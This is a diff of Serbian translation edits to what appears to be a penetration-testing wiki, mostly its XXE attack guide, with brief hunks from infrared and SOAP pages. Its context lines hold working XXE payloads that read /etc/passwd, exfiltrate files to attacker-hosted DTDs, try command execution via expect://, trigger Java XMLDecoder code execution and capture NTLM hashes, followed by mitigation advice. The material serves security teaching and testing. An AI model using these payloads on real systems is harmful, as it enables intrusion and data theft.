- **Predstavljanje podataka kroz entitete**: Entiteti u XML-u omogućavaju predstavljanje podataka, uključujući specijalne karaktere poput `<` i `>`, koji odgovaraju `<` i `>` kako bi se izbegla sukob sa sistemom oznaka XML-a.
|
||||
- **Definisanje XML elemenata**: XML omogućava definisanje tipova elemenata, naglašavajući kako bi elementi trebali biti strukturirani i koji sadržaj mogu sadržati, od bilo koje vrste sadržaja do specifičnih podelemenata.
|
||||
- **Definicija tipa dokumenta (DTD)**: DTD-ovi su ključni u XML-u za definisanje strukture dokumenta i tipova podataka koje može sadržati. Mogu biti unutrašnji, spoljašnji ili kombinacija, usmeravajući kako se dokumenti formatiraju i validiraju.
|
||||
- **Prilagođeni i spoljašnji entiteti**: XML podržava kreiranje prilagođenih entiteta unutar DTD-a za fleksibilno predstavljanje podataka. Spoljašnji entiteti, definisani URL-om, postavljaju bezbednosne brige, posebno u kontekstu napada XML Eksterna Entitet (XXE), koji koriste način na koji XML parseri obrađuju spoljne izvore podataka: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Prilagođeni i spoljašnji entiteti**: XML podržava kreiranje prilagođenih entiteta unutar DTD-a za fleksibilnu reprezentaciju podataka. Spoljašnji entiteti, definisani URL-om, postavljaju bezbednosne brige, posebno u kontekstu napada XML Eksterna Entitet (XXE), koji koriste način na koji XML parseri obrađuju spoljne izvore podataka: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **XXE detekcija sa parametarskim entitetima**: Za detekciju XXE ranjivosti, posebno kada konvencionalne metode ne uspevaju zbog bezbednosnih mera parsera, mogu se koristiti XML parametarski entiteti. Ovi entiteti omogućavaju tehnike detekcije van opsega, kao što su pokretanje DNS upita ili HTTP zahteva ka kontrolisanoj domeni, kako bi se potvrdila ranjivost.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
@ -43,7 +43,7 @@ U ovom prvom slučaju primetite da će SYSTEM "_**file:///**etc/passwd_" takođe
|
||||
```
|
||||
.png>)
|
||||
|
||||
Ovaj drugi slučaj bi trebao biti koristan za ekstrakciju fajla ako web server koristi PHP (Nije slučaj sa Portswigger laboratorijama)
|
||||
Ovaj drugi slučaj bi trebao biti koristan za ekstrakciju fajla ako web server koristi PHP (Nije slučaj Portswigger laboratorija)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
@ -63,9 +63,9 @@ U ovom trećem slučaju primetite da deklarujemo `Element stockCheck` kao ANY
|
||||
```
|
||||
.png>)
|
||||
|
||||
### Directory listing
|
||||
### Listing direktorijuma
|
||||
|
||||
U **Java** baziranim aplikacijama može biti moguće **navesti sadržaj direktorijuma** putem XXE sa payload-om kao (samo tražeći direktorijum umesto datoteke):
|
||||
U **Java** aplikacijama može biti moguće **navesti sadržaj direktorijuma** putem XXE sa payload-om kao što je (samo tražeći direktorijum umesto datoteke):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -91,11 +91,11 @@ Koristeći **prethodno komentarisanu tehniku** možete naterati server da pristu
|
||||
```
|
||||
### "Blind" SSRF - Ekstrakcija podataka van kanala
|
||||
|
||||
**U ovoj prilici ćemo naterati server da učita novi DTD sa zloćudnim payload-om koji će poslati sadržaj datoteke putem HTTP zahteva (za višelinijske datoteke možete pokušati da ih ekstraktujete putem \_ftp://**\_ koristeći ovaj osnovni server na primer [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ovo objašnjenje se zasniva na** [**Portswigger lab ovde**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**U ovoj prilici ćemo naterati server da učita novu DTD sa zloćudnim payload-om koji će poslati sadržaj datoteke putem HTTP zahteva (za višelinijske datoteke možete pokušati da ih ekstraktujete putem \_ftp://**\_ koristeći ovaj osnovni server na primer [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ovo objašnjenje se zasniva na** [**Portswiggers lab ovde**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
U datom zloćudnom DTD-u, sprovodi se niz koraka za ekstrakciju podataka:
|
||||
U datoj zloćudnoj DTD, sprovodi se niz koraka za ekstrakciju podataka:
|
||||
|
||||
### Primer zloćudnog DTD-a:
|
||||
### Primer zloćudne DTD:
|
||||
|
||||
Struktura je sledeća:
|
||||
```xml
|
||||
@ -121,7 +121,7 @@ Napadač hostuje ovaj zlonamerni DTD na serveru pod svojom kontrolom, obično na
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DTD-a. Kada je obrađen od strane XML parsera, ovaj payload preuzima eksterni DTD sa napadačeve servera. Parser zatim interpretira DTD inline, izvršavajući korake navedene u zlonamernom DTD-u i dovodeći do eksfiltracije datoteke `/etc/hostname` na napadačev server.
|
||||
Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DTD-a. Kada je obrađena od strane XML parsera, ovaj payload preuzima eksterni DTD sa napadačevog servera. Parser zatim interpretira DTD inline, izvršavajući korake navedene u zlonamernom DTD-u i dovodeći do eksfiltracije datoteke `/etc/hostname` na napadačev server.
|
||||
|
||||
### Greška zasnovana (Eksterni DTD)
|
||||
|
||||
@ -150,7 +150,7 @@ _**Molimo vas da primetite da eksterni DTD omogućava uključivanje jedne entite
|
||||
|
||||
Šta je sa slepim XXE ranjivostima kada su **izvan-bend interakcije blokirane** (eksterne konekcije nisu dostupne)?
|
||||
|
||||
Rupa u specifikaciji XML jezika može **izložiti osetljive podatke kroz poruke o grešci kada se DTD dokumenta meša unutrašnje i eksterne deklaracije**. Ovaj problem omogućava unutrašnju redefiniciju entiteta koji su deklarisani eksterno, olakšavajući izvršenje napada zasnovanih na grešci XXE. Takvi napadi koriste redefiniciju XML parametarskog entiteta, prvobitno deklarisanog u eksternom DTD, iz unutrašnjeg DTD. Kada su izvan-bend konekcije blokirane od strane servera, napadači moraju da se oslanjaju na lokalne DTD datoteke kako bi sproveli napad, sa ciljem da izazovu grešku u parsiranju kako bi otkrili osetljive informacije.
|
||||
Rupa u specifikaciji XML jezika može **izložiti osetljive podatke kroz poruke o grešci kada DTD dokumenta kombinuje interne i eksterne deklaracije**. Ovaj problem omogućava internu redefiniciju entiteta koji su deklarisani eksterno, olakšavajući izvršenje napada zasnovanih na grešci XXE. Takvi napadi koriste redefiniciju XML parametarskog entiteta, prvobitno deklarisanog u eksternom DTD, iz unutrašnjeg DTD. Kada su izvan-bend konekcije blokirane od strane servera, napadači moraju da se oslanjaju na lokalne DTD datoteke kako bi sproveli napad, sa ciljem da izazovu grešku u parsiranju kako bi otkrili osetljive informacije.
|
||||
|
||||
Razmotrite scenario u kojem datotečni sistem servera sadrži DTD datoteku na `/usr/local/app/schema.dtd`, koja definiše entitet nazvan `custom_entity`. Napadač može izazvati grešku u XML parsiranju otkrivajući sadržaj datoteke `/etc/passwd` podnošenjem hibridnog DTD-a na sledeći način:
|
||||
```xml
|
||||
@ -168,7 +168,7 @@ Razmotrite scenario u kojem datotečni sistem servera sadrži DTD datoteku na `/
|
||||
Definisani koraci se izvršavaju ovim DTD-om:
|
||||
|
||||
- Definicija XML parametarskog entiteta nazvanog `local_dtd` uključuje spoljašnji DTD fajl smešten na datotečnom sistemu servera.
|
||||
- Ponovna definicija se dešava za `custom_entity` XML parametarski entitet, prvobitno definisan u spoljašnjem DTD-u, kako bi se obuhvatio [XXE exploit zasnovan na grešci](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ova ponovna definicija je dizajnirana da izazove grešku prilikom parsiranja, otkrivajući sadržaj fajla `/etc/passwd`.
|
||||
- Dolazi do redefinicije za `custom_entity` XML parametarski entitet, prvobitno definisan u spoljašnjem DTD-u, kako bi se obuhvatio [XXE exploit zasnovan na grešci](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ova redefinicija je dizajnirana da izazove grešku prilikom parsiranja, otkrivajući sadržaj fajla `/etc/passwd`.
|
||||
- Korišćenjem entiteta `local_dtd`, aktivira se spoljašnji DTD, obuhvatajući novodefinisani `custom_entity`. Ova sekvenca radnji dovodi do emitovanja poruke o grešci koja je cilj exploita.
|
||||
|
||||
**Primer iz stvarnog sveta:** Sistemi koji koriste GNOME radno okruženje često imaju DTD na `/usr/share/yelp/dtd/docbookx.dtd` koji sadrži entitet nazvan `ISOamso`.
|
||||
@ -205,7 +205,7 @@ U sledećem sjajnom github repozitorijumu možete pronaći **puteve DTD-ova koji
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Pored toga, ako imate **Docker sliku žrtvovog sistema**, možete koristiti alat iz istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme repozitorijuma](https://github.com/GoSecure/dtd-finder) da biste saznali kako.
|
||||
Pored toga, ako imate **Docker sliku žrtvinog sistema**, možete koristiti alat iz istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme repozitorijuma](https://github.com/GoSecure/dtd-finder) da biste saznali kako.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -221,7 +221,7 @@ Testing 0 entities : []
|
||||
|
||||
Za detaljnije objašnjenje ovog napada, **pogledajte drugi deo** [**ovog neverovatnog posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
|
||||
|
||||
Mogućnost da se **otpremaju Microsoft Office dokumenti nudi mnoge web aplikacije**, koje zatim nastavljaju da izvode određene detalje iz ovih dokumenata. Na primer, web aplikacija može omogućiti korisnicima da uvezu podatke otpremanjem XLSX formata tabele. Da bi parser mogao da izvuče podatke iz tabele, neizbežno će morati da analizira barem jedan XML fajl.
|
||||
Mogućnost da se **otpremaju Microsoft Office dokumenti nudi mnoge web aplikacije**, koje zatim nastavljaju da izvode određene detalje iz ovih dokumenata. Na primer, web aplikacija može omogućiti korisnicima da uvezu podatke otpremanjem XLSX formata tabele. Da bi parser izvukao podatke iz tabele, neizbežno će morati da analizira barem jedan XML fajl.
|
||||
|
||||
Da bi se testirala ova ranjivost, potrebno je kreirati **Microsoft Office fajl koji sadrži XXE payload**. Prvi korak je da se kreira prazan direktorijum u koji se dokument može raspakovati.
|
||||
|
||||
@ -248,10 +248,10 @@ Proces pristupanja datoteci unutar PKZIP arhive putem jar protokola uključuje n
|
||||
1. HTTP zahtev se šalje za preuzimanje zip arhive sa određene lokacije, kao što je `https://download.website.com/archive.zip`.
|
||||
2. HTTP odgovor koji sadrži arhivu se privremeno čuva na sistemu, obično na lokaciji kao što je `/tmp/...`.
|
||||
3. Arhiva se zatim ekstrahuje da bi se pristupilo njenom sadržaju.
|
||||
4. Specifična datoteka unutar arhive, `file.zip`, se čita.
|
||||
4. Konkretna datoteka unutar arhive, `file.zip`, se čita.
|
||||
5. Nakon operacije, sve privremene datoteke kreirane tokom ovog procesa se brišu.
|
||||
|
||||
Zanimljiva tehnika za prekidanje ovog procesa u drugom koraku uključuje održavanje server konekcije otvorenom neodređeno dugo dok se služi arhivska datoteka. Alati dostupni na [ovoj repozitoriji](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogu se koristiti u tu svrhu, uključujući Python server (`slow_http_server.py`) i Java server (`slowserver.jar`).
|
||||
Zanimljiva tehnika za prekidanje ovog procesa u drugom koraku uključuje održavanje server konekcije otvorenom neodređeno dugo dok se služi arhivska datoteka. Alati dostupni u [ovoj biblioteci](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogu se koristiti u tu svrhu, uključujući Python server (`slow_http_server.py`) i Java server (`slowserver.jar`).
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
@ -288,13 +288,13 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
||||
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
||||
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
```
|
||||
#### Kvadratni Blowup Napad
|
||||
#### Napad kvadratnog rasta
|
||||
|
||||
.png>)
|
||||
|
||||
#### Dobijanje NTML-a
|
||||
#### Dobijanje NTML
|
||||
|
||||
Na Windows hostovima moguće je dobiti NTML hash korisnika web servera postavljanjem responder.py handler-a:
|
||||
Na Windows hostovima je moguće dobiti NTML hash korisnika web servera postavljanjem responder.py handler-a:
|
||||
```bash
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
@ -310,9 +310,9 @@ Zatim možete pokušati da probijete hash koristeći hashcat
|
||||
|
||||
### XInclude
|
||||
|
||||
Kada se integrišu podaci klijenta u XML dokumente na serverskoj strani, poput onih u backend SOAP zahtevima, direktna kontrola nad XML strukturom je često ograničena, što otežava tradicionalne XXE napade zbog ograničenja u modifikaciji `DOCTYPE` elementa. Međutim, `XInclude` napad pruža rešenje omogućavajući umetanje spoljašnjih entiteta unutar bilo kog podatkovnog elementa XML dokumenta. Ova metoda je efikasna čak i kada se može kontrolisati samo deo podataka unutar XML dokumenta generisanog na serveru.
|
||||
Kada se integrišu podaci klijenta u XML dokumente na serverskoj strani, poput onih u backend SOAP zahtevima, direktna kontrola nad XML strukturom je često ograničena, što otežava tradicionalne XXE napade zbog ograničenja u modifikaciji `DOCTYPE` elementa. Međutim, `XInclude` napad pruža rešenje omogućavajući umetanje eksternih entiteta unutar bilo kog podatkovnog elementa XML dokumenta. Ova metoda je efikasna čak i kada se može kontrolisati samo deo podataka unutar XML dokumenta generisanog na serveru.
|
||||
|
||||
Da bi se izvršio `XInclude` napad, potrebno je deklarisati `XInclude` prostor imena i navesti putanju do datoteke za željeni spoljašnji entitet. Ispod je sažet primer kako se takav napad može formulisati:
|
||||
Da bi se izvršio `XInclude` napad, potrebno je deklarisati `XInclude` prostor imena, a putanja do datoteke za željeni eksterni entitet mora biti specificirana. Ispod je sažet primer kako se takav napad može formulisati:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -328,7 +328,7 @@ Primer takvog eksploata je prikazan ispod, gde zlonamerna SVG slika pokušava da
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
Druga metoda uključuje pokušaj **izvršavanja komandi** putem PHP "expect" omota:
|
||||
Druga metoda uključuje pokušaj **izvršavanja komandi** putem PHP "expect" wrapper-a:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
@ -338,7 +338,7 @@ U oba slučaja, SVG format se koristi za pokretanje napada koji iskorišćavaju
|
||||
|
||||
Proverite [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) za više informacija!
|
||||
|
||||
**Napomena: prva linija pročitanog fajla ili rezultat izvršenja će se pojaviti UNUTAR kreirane slike. Dakle, morate biti u mogućnosti da pristupite slici koju je SVG kreirao.**
|
||||
**Napomena: prva linija pročitanog fajla ili rezultat izvršenja će se pojaviti UNUTAR kreirane slike. Tako da treba da imate pristup slici koju je SVG kreirao.**
|
||||
|
||||
### **PDF - Učitavanje fajla**
|
||||
|
||||
@ -368,7 +368,7 @@ Content-Length: 52
|
||||
```
|
||||
### Content-Type: Od JSON-a do XEE
|
||||
|
||||
Da biste promenili zahtev, možete koristiti Burp ekstenziju pod nazivom “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) možete pronaći ovaj primer:
|
||||
Da biste promenili zahtev, možete koristiti Burp ekstenziju pod nazivom “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
@ -396,7 +396,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
</root>
|
||||
</root>
|
||||
```
|
||||
Još jedan primer može se naći [ovde](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
Još jedan primer se može naći [ovde](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
|
||||
## WAF & Obilaženje zaštita
|
||||
|
||||
@ -408,7 +408,7 @@ Ovo funkcioniše samo ako XML server prihvata `data://` protokol.
|
||||
|
||||
### UTF-7
|
||||
|
||||
Možete koristiti \[**"Encode Recipe**" od cyberchef ovde ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformiše u UTF-7.
|
||||
Možete koristiti \[**"Encode Recipe**" od cyberchef ovde ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) za transformaciju u UTF-7.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -476,9 +476,9 @@ DTD пример:
|
||||
|
||||
Ovaj primer je inspirisan u [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) se koristi za standardizaciju razmene podataka u procesima lokalizacije. To je format zasnovan na XML-u koji se prvenstveno koristi za prenos lokalizovanih podataka među alatima tokom lokalizacije i kao zajednički format razmene za CAT (Computer-Aided Translation) alate.
|
||||
XLIFF (XML format za razmenu lokalizacije) se koristi za standardizaciju razmene podataka u procesima lokalizacije. To je XML-bazirani format koji se prvenstveno koristi za prenos lokalizovanih podataka među alatima tokom lokalizacije i kao zajednički format razmene za CAT (računarski potpomognuta prevođenja) alate.
|
||||
|
||||
### Blind Request Analysis
|
||||
### Analiza slepe zahteva
|
||||
|
||||
Zahtev se šalje serveru sa sledećim sadržajem:
|
||||
```xml
|
||||
@ -502,7 +502,7 @@ Međutim, ovaj zahtev izaziva grešku unutrašnjeg servera, posebno pominjući p
|
||||
```
|
||||
I pored greške, zabeležen je hit na Burp Collaborator, što ukazuje na određeni nivo interakcije sa spoljnim entitetom.
|
||||
|
||||
Izvan kanala Ekstrakcija podataka Da bi se ekstraktovali podaci, šalje se modifikovani zahtev:
|
||||
Out of Band Data Exfiltration Da bi se exfiltrirali podaci, šalje se modifikovani zahtev:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
@ -523,7 +523,7 @@ Izvlačenje podataka zasnovano na grešci Da bi se prevazišlo ovo ograničenje,
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Server odgovara greškom, što važno odražava nepostojeći fajl, ukazujući da server pokušava da pristupi navedenom fajlu:
|
||||
Server odgovara greškom, što je važno jer odražava nepostojeći fajl, ukazujući da server pokušava da pristupi navedenom fajlu:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
@ -538,7 +538,7 @@ Ova modifikacija dovodi do uspešne eksfiltracije sadržaja fajla, jer se odraž
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
Validan XML u RSS formatu za iskorišćavanje XXE ranjivosti.
|
||||
Validan XML sa RSS formatom za iskorišćavanje XXE ranjivosti.
|
||||
|
||||
### Ping back
|
||||
|
||||
@ -609,7 +609,7 @@ Korišćenje PHP base64 filtera
|
||||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
|
||||
XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonameran korisnik može da natera aplikaciju da koristi proizvoljne podatke u pozivu metode **readObject**, odmah će dobiti izvršenje koda na serveru.
|
||||
XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonameran korisnik može da natera aplikaciju da koristi proizvoljne podatke u pozivu metodi **readObject**, odmah će dobiti izvršavanje koda na serveru.
|
||||
|
||||
### Using Runtime().exec()
|
||||
```xml
|
||||
@ -692,7 +692,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
* Učitava lokalni DTD sa `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Ponovno definiše neodređeni entitet tako da:
|
||||
- Čita ciljni fajl (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Gradi drugi parametar entitet koji se odnosi na **nevažeću putanju** koja sadrži `%flag;` vrednost i izaziva grešku parsera (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
- Gradi još jedan parametar entitet koji se odnosi na **nevažeću putanju** koja sadrži `%flag;` vrednost i izaziva grešku parsera (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Na kraju proširite `%local_dtd;` i `%eval;` tako da parser naiđe na `%error;`, ne uspe da otvori `/aaa/<FLAG>` i otkrije flag unutar izbačene izuzetke – koji se često vraća korisniku od strane aplikacije.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
@ -709,7 +709,7 @@ Kada aplikacija ispisuje izuzetak, odgovor sadrži:
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
> [!TIP]
|
||||
> Ako parser prijavi grešku zbog `%`/`&` karaktera unutar unutrašnjeg podskupa, dvostruko ih kodirajte (`&#x25;` ⇒ `%`) da biste odložili ekspanziju.
|
||||
> Ako parser prigovara zbog `%`/`&` karaktera unutar unutrašnjeg podskupa, dvostruko ih kodirajte (`&#x25;` ⇒ `%`) da biste odložili ekspanziju.
|
||||
|
||||
#### 2. Obilaženje lxml 5.4.0 ojačanja (libxml2 još uvek ranjiv)
|
||||
`lxml` ≥ 5.4.0 zabranjuje *error* parametarske entitete poput onog iznad, ali **libxml2** još uvek omogućava njihovo ugrađivanje u *general* entitet. Trik je:
|
||||
@ -728,7 +728,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
#### Ključne tačke
|
||||
* **Parametarske entitete** se i dalje proširuju pomoću libxml2 čak i kada `resolve_entities` treba da blokira XXE.
|
||||
* **Nevažeći URI** ili **nepostojeća datoteka** su dovoljni da se kontrolisani podaci dodaju u izbačenu iznimku.
|
||||
* **Nevažeći URI** ili **nepostojeća datoteka** su dovoljni da se kontrolisani podaci dodaju u izbačenu izuzetak.
|
||||
* Tehnika funkcioniše **bez izlazne povezanosti**, što je čini idealnom za strogo filtrirane okruženja.
|
||||
|
||||
#### Uputstvo za ublažavanje
|
||||
@ -763,11 +763,11 @@ dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
Ako aplikacija mora interno podržavati DTD-ove, držite `disallow-doctype-decl` onemogućen, ali **uvek** ostavite dva `external-*-entities` podešavanja postavljena na `false`. Ova kombinacija sprečava klasične napade na otkrivanje fajlova (`file:///etc/passwd`) kao i mrežne SSRF vektore (`http://169.254.169.254/…`, `jar:` protokol, itd.).
|
||||
Ako aplikacija mora interno podržavati DTD-ove, držite `disallow-doctype-decl` onemogućen, ali **uvek** ostavite dva `external-*-entities` svojstva postavljena na `false`. Ova kombinacija sprečava klasične napade na otkrivanje fajlova (`file:///etc/passwd`) kao i mrežne SSRF vektore (`http://169.254.169.254/…`, `jar:` protokol, itd.).
|
||||
|
||||
Studija slučaja iz stvarnog sveta: **CVE-2025-27136** u Java S3 emulatoru *LocalS3* koristila je ranjivi konstruktor prikazan iznad. Neautentifikovani napadač mogao je da pošalje kreirani XML sadržaj na `CreateBucketConfiguration` krajnju tačku i natera server da ugradi lokalne fajlove (na primer `/etc/passwd`) u HTTP odgovor.
|
||||
Studija slučaja iz stvarnog sveta: **CVE-2025-27136** u Java S3 emulatoru *LocalS3* koristila je ranjivi konstruktor prikazan iznad. Neautentifikovani napadač mogao je da dostavi kreirani XML sadržaj na `CreateBucketConfiguration` krajnju tačku i da serveru omogući umetanje lokalnih fajlova (na primer `/etc/passwd`) u HTTP odgovor.
|
||||
|
||||
## Reference
|
||||
## References
|
||||
|
||||
- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
|
||||
|
||||
|
@ -92,7 +92,7 @@ Napadač takođe može koristiti jake IR projektore da **infiltrira** komande u
|
||||
|
||||
### Dugoročni brute-force i prošireni protokoli sa Flipper Zero 1.0
|
||||
|
||||
Firmver 1.0 (septembar 2024) dodao je **desetine dodatnih IR protokola i opcionih spoljašnjih pojačivača**. U kombinaciji sa univerzalnim daljinskim upravljačem u režimu brute-force, Flipper može onemogućiti ili rekonfigurisati većinu javnih televizora/klimatizacija sa udaljenosti do 30 m koristeći visokopouzdani diod.
|
||||
Firmver 1.0 (septembar 2024) dodao je **desetine dodatnih IR protokola i opcionih spoljašnjih pojačivača**. U kombinaciji sa univerzalnim daljinskim upravljačem u režimu brute-force, Flipper može onemogućiti ili rekonfigurisati većinu javnih televizora/klimatizacija sa udaljenosti do 30 m koristeći visokopouzdani diodu.
|
||||
|
||||
---
|
||||
|
||||
|
@ -18,7 +18,7 @@ Pošto je saobraćaj enkapsuliran unutar ovih binarnih SOAP okvira i putuje prek
|
||||
|
||||
## SoaPy – Nativni Python Klijent
|
||||
|
||||
